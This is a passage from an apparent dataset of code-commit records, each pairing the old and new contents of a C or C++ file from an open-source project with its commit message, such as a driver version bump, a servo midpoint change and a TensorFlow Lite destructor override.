91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"ec44f6427bce56ef92dff2ef208f41686c69be0e","old_file":"nrf5\/boards\/microbit\/nrf51_hal_conf.h","new_file":"nrf5\/boards\/microbit\/nrf51_hal_conf.h","old_contents":"#ifndef NRF51_HAL_CONF_H__\n#define NRF51_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n#define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n#define HAL_RTC_MODULE_ENABLED\n#define HAL_TIMER_MODULE_ENABLED\n\n#endif \/\/ NRF51_HAL_CONF_H__\n","new_contents":"#ifndef NRF51_HAL_CONF_H__\n#define NRF51_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n\/\/ #define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n\/\/ #define HAL_RTC_MODULE_ENABLED\n\/\/ #define HAL_TIMER_MODULE_ENABLED\n\n#endif \/\/ NRF51_HAL_CONF_H__\n","subject":"Disable SPI\/Timer\/RTC hal from microbit board.","message":"nrf5\/boards: Disable SPI\/Timer\/RTC hal from microbit board.\n","lang":"C","license":"mit","repos":"tralamazza\/micropython,tralamazza\/micropython,tralamazza\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython,tralamazza\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython"}
{"commit":"98d89f39e8c930e280c1d68a0749ce79c0a67c65","old_file":"src\/acc.c","new_file":"src\/acc.c","old_contents":"\/* +\n *\/\n\n#include \"dpl\/acc.h\"\n#include \"dpl\/defs.h\"\n#include \"dpl\/utils.h\"\n\n\nint dpl_acc_durance (DplIter *iter, time_t *dur)\n{\n    DplEntry *task;\n    *dur = 0;\n    time_t begin, end;\n\n    while (dpl_iter_next (iter, &task) == DPL_OK) {\n        dpl_entry_begin_get (task, &begin);\n        DPL_FORWARD_ERROR (dpl_entry_work_end_get (task, &end));\n        *dur += (end - begin);\n    }\n\n    return DPL_OK;\n}\n","new_contents":"\/* +\n *\/\n\n#include \"dpl\/acc.h\"\n#include \"dpl\/defs.h\"\n#include \"dpl\/utils.h\"\n\n\nint dpl_acc_durance (DplIter *iter, time_t *dur)\n{\n    const DplEntry *task;\n    *dur = 0;\n    time_t begin, end;\n\n    while (dpl_iter_next (iter, &task) == DPL_OK) {\n        dpl_entry_begin_get (task, &begin);\n        DPL_FORWARD_ERROR (dpl_entry_work_end_get (task, &end));\n        *dur += (end - begin);\n    }\n\n    return DPL_OK;\n}\n","subject":"Fix constness to avoid a compiler warning.","message":"Fix constness to avoid a compiler warning.\n\nFixes #39.\n","lang":"C","license":"bsd-2-clause","repos":"pyohannes\/dayplan,pyohannes\/dayplan"}
{"commit":"2d3fb89f05d62306694fb4d2a9e45de86e737b0d","old_file":"numpy\/core\/src\/multiarray\/convert_datatype.h","new_file":"numpy\/core\/src\/multiarray\/convert_datatype.h","old_contents":"#ifndef _NPY_ARRAY_CONVERT_DATATYPE_H_\n#define _NPY_ARRAY_CONVERT_DATATYPE_H_\n\nNPY_NO_EXPORT PyObject *\nPyArray_CastToType(PyArrayObject *mp, PyArray_Descr *at, int fortran);\n\n#endif\n","new_contents":"#ifndef _NPY_ARRAY_CONVERT_DATATYPE_H_\n#define _NPY_ARRAY_CONVERT_DATATYPE_H_\n\nNPY_NO_EXPORT PyObject *\nPyArray_CastToType(PyArrayObject *mp, PyArray_Descr *at, int fortran);\n\nNPY_NO_EXPORT int\nPyArray_CastTo(PyArrayObject *out, PyArrayObject *mp);\n\nNPY_NO_EXPORT PyArray_VectorUnaryFunc *\nPyArray_GetCastFunc(PyArray_Descr *descr, int type_num);\n\nNPY_NO_EXPORT int\nPyArray_CanCastSafely(int fromtype, int totype);\n\nNPY_NO_EXPORT Bool\nPyArray_CanCastTo(PyArray_Descr *from, PyArray_Descr *to);\n\nNPY_NO_EXPORT int\nPyArray_ObjectType(PyObject *op, int minimum_type);\n\nNPY_NO_EXPORT PyArrayObject **\nPyArray_ConvertToCommonType(PyObject *op, int *retn);\n\nNPY_NO_EXPORT int\nPyArray_ValidType(int type);\n\n#endif\n","subject":"Add API for datatype conversion.","message":"Add API for datatype conversion.\n\ngit-svn-id: 77a43f9646713b91fea7788fad5dfbf67e151ece@6920 94b884b6-d6fd-0310-90d3-974f1d3f35e1\n","lang":"C","license":"bsd-3-clause","repos":"Ademan\/NumPy-GSoC,chadnetzer\/numpy-gaurdro,teoliphant\/numpy-refactor,jasonmccampbell\/numpy-refactor-sprint,illume\/numpy3k,Ademan\/NumPy-GSoC,teoliphant\/numpy-refactor,jasonmccampbell\/numpy-refactor-sprint,teoliphant\/numpy-refactor,Ademan\/NumPy-GSoC,illume\/numpy3k,efiring\/numpy-work,efiring\/numpy-work,jasonmccampbell\/numpy-refactor-sprint,Ademan\/NumPy-GSoC,efiring\/numpy-work,chadnetzer\/numpy-gaurdro,efiring\/numpy-work,illume\/numpy3k,teoliphant\/numpy-refactor,chadnetzer\/numpy-gaurdro,chadnetzer\/numpy-gaurdro,illume\/numpy3k,teoliphant\/numpy-refactor,jasonmccampbell\/numpy-refactor-sprint"}
{"commit":"484f8ae37bf516a63ba67ec004ac5acf33f98a9f","old_file":"src\/UpdateDialogWin32.h","new_file":"src\/UpdateDialogWin32.h","old_contents":"#pragma once\n\n#include \"Platform.h\"\n#include \"UpdateMessage.h\"\n#include \"UpdateObserver.h\"\n\n#include \"wincore.h\"\n#include \"controls.h\"\n#include \"stdcontrols.h\"\n\nclass UpdateDialogWin32 : public UpdateDialog\n{\n\tpublic:\n\t\tUpdateDialogWin32();\n\t\t~UpdateDialogWin32();\n\n\t\t\/\/ implements UpdateDialog\n\t\tvirtual void init(int argc, char** argv);\n\t\tvirtual void exec();\n\t\tvirtual void quit();\n\n\t\t\/\/ implements UpdateObserver\n\t\tvirtual void updateError(const std::string& errorMessage);\n\t\tvirtual void updateProgress(int percentage);\n\t\tvirtual void updateFinished();\n\n\t\tLRESULT WINAPI windowProc(HWND window, UINT message, WPARAM wParam, LPARAM lParam);\n\n\tprivate:\n\t\tvoid installWindowProc(CWnd* window);\n\n\t\tCWinApp m_app;\n\t\tCWnd m_window;\n\t\tCStatic m_progressLabel;\n\t\tCProgressBar m_progressBar;\n\t\tCButton m_finishButton;\n\t\tbool m_hadError;\n};\n\n","new_contents":"#pragma once\n\n#include \"Platform.h\"\n#include \"UpdateDialog.h\"\n#include \"UpdateMessage.h\"\n\n#include \"wincore.h\"\n#include \"controls.h\"\n#include \"stdcontrols.h\"\n\nclass UpdateDialogWin32 : public UpdateDialog\n{\n\tpublic:\n\t\tUpdateDialogWin32();\n\t\t~UpdateDialogWin32();\n\n\t\t\/\/ implements UpdateDialog\n\t\tvirtual void init(int argc, char** argv);\n\t\tvirtual void exec();\n\t\tvirtual void quit();\n\n\t\t\/\/ implements UpdateObserver\n\t\tvirtual void updateError(const std::string& errorMessage);\n\t\tvirtual void updateProgress(int percentage);\n\t\tvirtual void updateFinished();\n\n\t\tLRESULT WINAPI windowProc(HWND window, UINT message, WPARAM wParam, LPARAM lParam);\n\n\tprivate:\n\t\tvoid installWindowProc(CWnd* window);\n\n\t\tCWinApp m_app;\n\t\tCWnd m_window;\n\t\tCStatic m_progressLabel;\n\t\tCProgressBar m_progressBar;\n\t\tCButton m_finishButton;\n\t\tbool m_hadError;\n};\n\n","subject":"Fix Win32 build - add missing include","message":"Fix Win32 build - add missing include\n","lang":"C","license":"bsd-2-clause","repos":"zhengw1985\/Update-Installer,zhengw1985\/Update-Installer,zhengw1985\/Update-Installer"}
{"commit":"34738e9bc5e98c15f60e9e9cf2612cb116fd2202","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Define the board height and width.","message":"Define the board height and width.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"72467b21e9d8dced87245dda0aaef49c8965345a","old_file":"cpp\/include\/phevaluator\/hand.h","new_file":"cpp\/include\/phevaluator\/hand.h","old_contents":"#ifndef PHEVALUATOR_HAND_H\n#define PHEVALUATOR_HAND_H\n\n#ifdef __cplusplus\n\n#include <vector>\n#include <array>\n#include <string>\n#include \"card.h\"\n\nnamespace phevaluator {\n\nclass Hand {\n public:\n  Hand() {}\n\n  Hand(const std::vector<Card>& cards);\n  Hand(const Card& card);\n\n  Hand& operator+=(const Card& card);\n  Hand operator+(const Card& card);\n\n  const unsigned char& getSize() const { return size_; }\n  const int& getSuitHash() const { return suitHash_; }\n  const std::array<int, 4>& getSuitBinary() const { return suitBinary_; }\n  const std::array<unsigned char, 13> getQuinary() const { return quinary_; }\n\n private:\n  unsigned char size_ = 0;\n  int suitHash_ = 0;\n  std::array<int, 4> suitBinary_{0};\n  std::array<unsigned char, 13> quinary_{0};\n};\n\n} \/\/ namespace phevaluator\n\n#endif \/\/ __cplusplus\n\n#endif \/\/ PHEVALUATOR_HAND_H\n","new_contents":"#ifndef PHEVALUATOR_HAND_H\n#define PHEVALUATOR_HAND_H\n\n#ifdef __cplusplus\n\n#include <vector>\n#include <array>\n#include <string>\n#include \"card.h\"\n\nnamespace phevaluator {\n\nclass Hand {\n public:\n  Hand() {}\n\n  Hand(const std::vector<Card>& cards);\n  Hand(const Card& card);\n\n  Hand& operator+=(const Card& card);\n  Hand operator+(const Card& card);\n\n  const unsigned char& getSize() const { return size_; }\n  const int& getSuitHash() const { return suitHash_; }\n  const std::array<int, 4>& getSuitBinary() const { return suitBinary_; }\n  const std::array<unsigned char, 13> getQuinary() const { return quinary_; }\n\n private:\n  unsigned char size_ = 0;\n  int suitHash_ = 0;\n  std::array<int, 4> suitBinary_{{0}};\n  std::array<unsigned char, 13> quinary_{{0}};\n};\n\n} \/\/ namespace phevaluator\n\n#endif \/\/ __cplusplus\n\n#endif \/\/ PHEVALUATOR_HAND_H\n","subject":"Fix a Hand type compiling errors in GNU compiler","message":"Fix a Hand type compiling errors in GNU compiler\n","lang":"C","license":"apache-2.0","repos":"HenryRLee\/PokerHandEvaluator,HenryRLee\/PokerHandEvaluator,HenryRLee\/PokerHandEvaluator"}
{"commit":"4e991f46323ca1b6e0097e661812f1ff61852ce5","old_file":"src\/Mobs\/AggressiveMonster.h","new_file":"src\/Mobs\/AggressiveMonster.h","old_contents":"\n#pragma once\n\n#include \"Monster.h\"\n\n\n\n\n\nclass cAggressiveMonster :\n\tpublic cMonster\n{\n\ttypedef cMonster super;\n\t\npublic:\n\n\tcAggressiveMonster(const AString & a_ConfigName, eMonsterType a_MobType, const AString & a_SoundHurt, const AString & a_SoundDeath, double a_Width, double a_Height);\n\n\tvirtual void Tick          (std::chrono::milliseconds a_Dt, cChunk & a_Chunk) override;\n\tvirtual void InStateChasing(std::chrono::milliseconds a_Dt) override;\n\t\n\tvirtual void EventSeePlayer(cEntity *) override;\n\tvirtual bool Attack(std::chrono::milliseconds a_Dt);\n} ;\n\n\n\n\n","new_contents":"\n#pragma once\n\n#include \"Monster.h\"\n\n\n\n\n\nclass cAggressiveMonster :\n\tpublic cMonster\n{\n\ttypedef cMonster super;\n\t\npublic:\n\n\tcAggressiveMonster(const AString & a_ConfigName, eMonsterType a_MobType, const AString & a_SoundHurt, const AString & a_SoundDeath, double a_Width, double a_Height);\n\n\tvirtual void Tick          (std::chrono::milliseconds a_Dt, cChunk & a_Chunk) override;\n\tvirtual void InStateChasing(std::chrono::milliseconds a_Dt) override;\n\t\n\tvirtual void EventSeePlayer(cEntity *) override;\n\t\n\t\/** Try to perform attack\n\treturns true if attack was deemed successful (hit player, fired projectile, creeper exploded, etc.) even if it didn't actually do damage\n\treturn false if e.g. the mob is still in cooldown from a previous attack *\/\n\tvirtual bool Attack(std::chrono::milliseconds a_Dt);\n} ;\n\n\n\n\n","subject":"Add comment to Attack() return values","message":"Add comment to Attack() return values","lang":"C","license":"apache-2.0","repos":"QUSpilPrgm\/cuberite,birkett\/MCServer,SamOatesPlugins\/cuberite,ionux\/MCServer,bendl\/cuberite,Fighter19\/cuberite,marvinkopf\/cuberite,SamOatesPlugins\/cuberite,Altenius\/cuberite,Schwertspize\/cuberite,birkett\/cuberite,SamOatesPlugins\/cuberite,marvinkopf\/cuberite,SamOatesPlugins\/cuberite,QUSpilPrgm\/cuberite,Schwertspize\/cuberite,HelenaKitty\/EbooMC,kevinr\/cuberite,tonibm19\/cuberite,QUSpilPrgm\/cuberite,ionux\/MCServer,Frownigami1\/cuberite,birkett\/cuberite,bendl\/cuberite,kevinr\/cuberite,bendl\/cuberite,Altenius\/cuberite,SamOatesPlugins\/cuberite,nounoursheureux\/MCServer,Haxi52\/cuberite,nounoursheureux\/MCServer,Haxi52\/cuberite,tonibm19\/cuberite,Frownigami1\/cuberite,marvinkopf\/cuberite,mc-server\/MCServer,QUSpilPrgm\/cuberite,ionux\/MCServer,birkett\/cuberite,mc-server\/MCServer,Schwertspize\/cuberite,birkett\/MCServer,birkett\/cuberite,Fighter19\/cuberite,marvinkopf\/cuberite,Haxi52\/cuberite,mc-server\/MCServer,birkett\/MCServer,ionux\/MCServer,Frownigami1\/cuberite,HelenaKitty\/EbooMC,tonibm19\/cuberite,nounoursheureux\/MCServer,birkett\/cuberite,johnsoch\/cuberite,Haxi52\/cuberite,Fighter19\/cuberite,Fighter19\/cuberite,HelenaKitty\/EbooMC,nounoursheureux\/MCServer,tonibm19\/cuberite,kevinr\/cuberite,bendl\/cuberite,johnsoch\/cuberite,bendl\/cuberite,marvinkopf\/cuberite,Altenius\/cuberite,birkett\/MCServer,ionux\/MCServer,mc-server\/MCServer,Altenius\/cuberite,Frownigami1\/cuberite,Schwertspize\/cuberite,Frownigami1\/cuberite,birkett\/cuberite,mc-server\/MCServer,QUSpilPrgm\/cuberite,birkett\/MCServer,Fighter19\/cuberite,Fighter19\/cuberite,birkett\/MCServer,nounoursheureux\/MCServer,Schwertspize\/cuberite,kevinr\/cuberite,HelenaKitty\/EbooMC,Haxi52\/cuberite,johnsoch\/cuberite,QUSpilPrgm\/cuberite,johnsoch\/cuberite,kevinr\/cuberite,nounoursheureux\/MCServer,Altenius\/cuberite,tonibm19\/cuberite,kevinr\/cuberite,tonibm19\/cuberite,marvinkopf\/cuberite,HelenaKitty\/EbooMC,mc-server\/MCServer,Haxi52\/cuberite,ionux\/MCServer,johnsoch\/cuberite"}
{"commit":"26b937b2a349e9e6b294703232af264af7e277c4","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k12\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k13\"\n","subject":"Update driver version to 5.02.00-k13","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k13\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"9617d0d65b4c9bcc6513d1aa6cca537713f178c6","old_file":"SSPSolution\/SSPSolution\/DoorEntity.h","new_file":"SSPSolution\/SSPSolution\/DoorEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#include \"Entity.h\"\n#include <vector>\n\nstruct DoorSyncState {\n\tint entityID;\n\tbool isOpened;\n};\n\nstruct ElementState {\n\tint entityID;\n\tEVENT desiredState;\n\tbool desiredStateReached;\n};\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\n\tstd::vector<ElementState> m_subjectStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\t\n\tbool m_needSync;\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, std::vector<ElementState> subjectStates, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#include \"Entity.h\"\n#include <vector>\n\nstruct ElementState {\n\tint entityID;\n\tEVENT desiredState;\n\tbool desiredStateReached;\n};\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\n\tstd::vector<ElementState> m_subjectStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\t\n\tbool m_needSync;\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, std::vector<ElementState> subjectStates, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","subject":"REMOVE syns state from Door","message":"REMOVE syns state from Door\n\nWe will only sync actuators such as levers, buttons and wheels\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"915aab643788b8b8f0a366fefe9487e4d0e80928","old_file":"arduino\/OpenROV\/Motors.h","new_file":"arduino\/OpenROV\/Motors.h","old_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 128\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","new_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 90\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","subject":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)","message":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)\n","lang":"C","license":"mit","repos":"codewithpassion\/openrov-software,BrianAdams\/openrov-software,LeeCheongAh\/openrov-software,bmvakili\/openrov-software,ChangerR\/burrito-cockpid,MysteriousChanger\/burrito-cockpid,codewithpassion\/openrov-software,bmvakili\/openrov-software,bmvakili\/openrov-software,BrianAdams\/openrov-software,codewithpassion\/openrov-software,MysteriousChanger\/burrito-cockpid,BrianAdams\/openrov-software,bmvakili\/openrov-software,bmvakili\/openrov-software,ZonaElka\/testOpenROV,ChangerR\/burrito-cockpid,ZonaElka\/testOpenROV,MysteriousChanger\/burrito-cockpid,BrianAdams\/openrov-software,LeeCheongAh\/openrov-software,codewithpassion\/openrov-software,ZonaElka\/testOpenROV,ChangerR\/burrito-cockpid"}
{"commit":"bd0266ffdcb0b9debbe3dea7e3f07f54500af8c3","old_file":"opencog\/atoms\/base\/types.h","new_file":"opencog\/atoms\/base\/types.h","old_contents":"\/*\n * opencog\/atoms\/base\/types.h\n *\n * Copyright (C) 2002-2007 Novamente LLC\n * All Rights Reserved\n *\n * Written by Thiago Maia <thiago@vettatech.com>\n *            Andre Senna <senna@vettalabs.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n\/**\n * basic type definitions.\n *\/\n\n#ifndef _OPENCOG_TYPES_H\n#define _OPENCOG_TYPES_H\n\nnamespace opencog\n{\n\/** \\addtogroup grp_atomspace\n *  @{\n *\/\n\n\/\/! type of Atoms, represented as short integer (16 bits)\ntypedef unsigned short Type;\n\n\/** @}*\/\n} \/\/ namespace opencog\n\n#endif \/\/ _OPENCOG_TYPES_H\n","new_contents":"\/*\n * opencog\/atoms\/base\/types.h\n *\n * Copyright (C) 2002-2007 Novamente LLC\n * All Rights Reserved\n *\n * Written by Thiago Maia <thiago@vettatech.com>\n *            Andre Senna <senna@vettalabs.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n\/**\n * basic type definitions.\n *\/\n\n#ifndef _OPENCOG_TYPES_H\n#define _OPENCOG_TYPES_H\n\n#include <set>\n\nnamespace opencog\n{\n\/** \\addtogroup grp_atomspace\n *  @{\n *\/\n\n\/\/! type of Atoms, represented as short integer (16 bits)\ntypedef unsigned short Type;\n\n\/\/! Set of atom types\ntypedef std::set<Type> TypeSet;\n\n\/** @}*\/\n} \/\/ namespace opencog\n\n#endif \/\/ _OPENCOG_TYPES_H\n","subject":"Add TypeSet type as set of Types","message":"Add TypeSet type as set of Types\n","lang":"C","license":"agpl-3.0","repos":"AmeBel\/atomspace,rTreutlein\/atomspace,misgeatgit\/atomspace,rTreutlein\/atomspace,AmeBel\/atomspace,AmeBel\/atomspace,misgeatgit\/atomspace,misgeatgit\/atomspace,AmeBel\/atomspace,misgeatgit\/atomspace,rTreutlein\/atomspace,rTreutlein\/atomspace,misgeatgit\/atomspace,rTreutlein\/atomspace,AmeBel\/atomspace"}
{"commit":"392d0f8f721d86dfd0032695b6903d1299814221","old_file":"targets\/TARGET_NORDIC\/TARGET_NRF5x\/TARGET_NRF52\/TARGET_MCU_NRF52840\/TARGET_EP_ATLAS\/atlas_init.c","new_file":"targets\/TARGET_NORDIC\/TARGET_NRF5x\/TARGET_NRF52\/TARGET_MCU_NRF52840\/TARGET_EP_ATLAS\/atlas_init.c","old_contents":"","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2021 ARM Limited\n * Copyright (c) 2021 Embedded Planet, Inc.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <stdint.h>\n\n#include \"subtarget_init.h\"\n\n#include \"nrf.h\"\n\n\/**\n * Override the subtarget sdk init startup hook (specific to nRF2)\n * This will configure the internal regulator to operate at 3.3V\n *\/\nvoid subtarget_sdk_init(void) {\n\n    if (NRF_UICR->REGOUT0 != UICR_REGOUT0_VOUT_3V3)\n    {\n         NRF_NVMC->CONFIG = NVMC_CONFIG_WEN_Wen << NVMC_CONFIG_WEN_Pos;\n         while (NRF_NVMC->READY == NVMC_READY_READY_Busy){}\n         NRF_UICR->REGOUT0 = UICR_REGOUT0_VOUT_3V3;\n         NRF_NVMC->CONFIG = NVMC_CONFIG_WEN_Ren << NVMC_CONFIG_WEN_Pos;\n         while (NRF_NVMC->READY == NVMC_READY_READY_Busy){}\n\n         \/\/ Trigger a soft reset so that the settings take effect\n         NVIC_SystemReset();\n     }\n}\n\n\n","subject":"Configure internal regulators at startup","message":"Configure internal regulators at startup\n\nThis commit introduces an implementation of the `subtarget_sdk_init` startup hook (called during `mbed_sdk_init`) that configures the internal regulators of the nRF52840.\n\nThe configuration sets up the internal regulator to output 3.3V. If this is not done, the default system voltage may be too low for the on-board indicator LEDs to conduct (ie: system voltage is lower than LED forward voltage).\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"7a895c7cd2784c10e6922b16925797b18839d6b3","old_file":"tensorflow\/lite\/micro\/micro_error_reporter.h","new_file":"tensorflow\/lite\/micro\/micro_error_reporter.h","old_contents":"\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n#define TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n\n#include \"tensorflow\/lite\/core\/api\/error_reporter.h\"\n#include \"tensorflow\/lite\/micro\/compatibility.h\"\n#include \"tensorflow\/lite\/micro\/debug_log.h\"\n\nnamespace tflite {\n\nclass MicroErrorReporter : public ErrorReporter {\n public:\n  ~MicroErrorReporter() {}\n  int Report(const char* format, va_list args) override;\n\n private:\n  TF_LITE_REMOVE_VIRTUAL_DELETE\n};\n\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n","new_contents":"\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n#define TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n\n#include \"tensorflow\/lite\/core\/api\/error_reporter.h\"\n#include \"tensorflow\/lite\/micro\/compatibility.h\"\n#include \"tensorflow\/lite\/micro\/debug_log.h\"\n\nnamespace tflite {\n\nclass MicroErrorReporter : public ErrorReporter {\n public:\n  ~MicroErrorReporter() override {}\n  int Report(const char* format, va_list args) override;\n\n private:\n  TF_LITE_REMOVE_VIRTUAL_DELETE\n};\n\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_MICRO_MICRO_ERROR_REPORTER_H_\n","subject":"Add override specifier to the destructor.","message":"Add override specifier to the destructor.\n\nPiperOrigin-RevId: 306301066\nChange-Id: 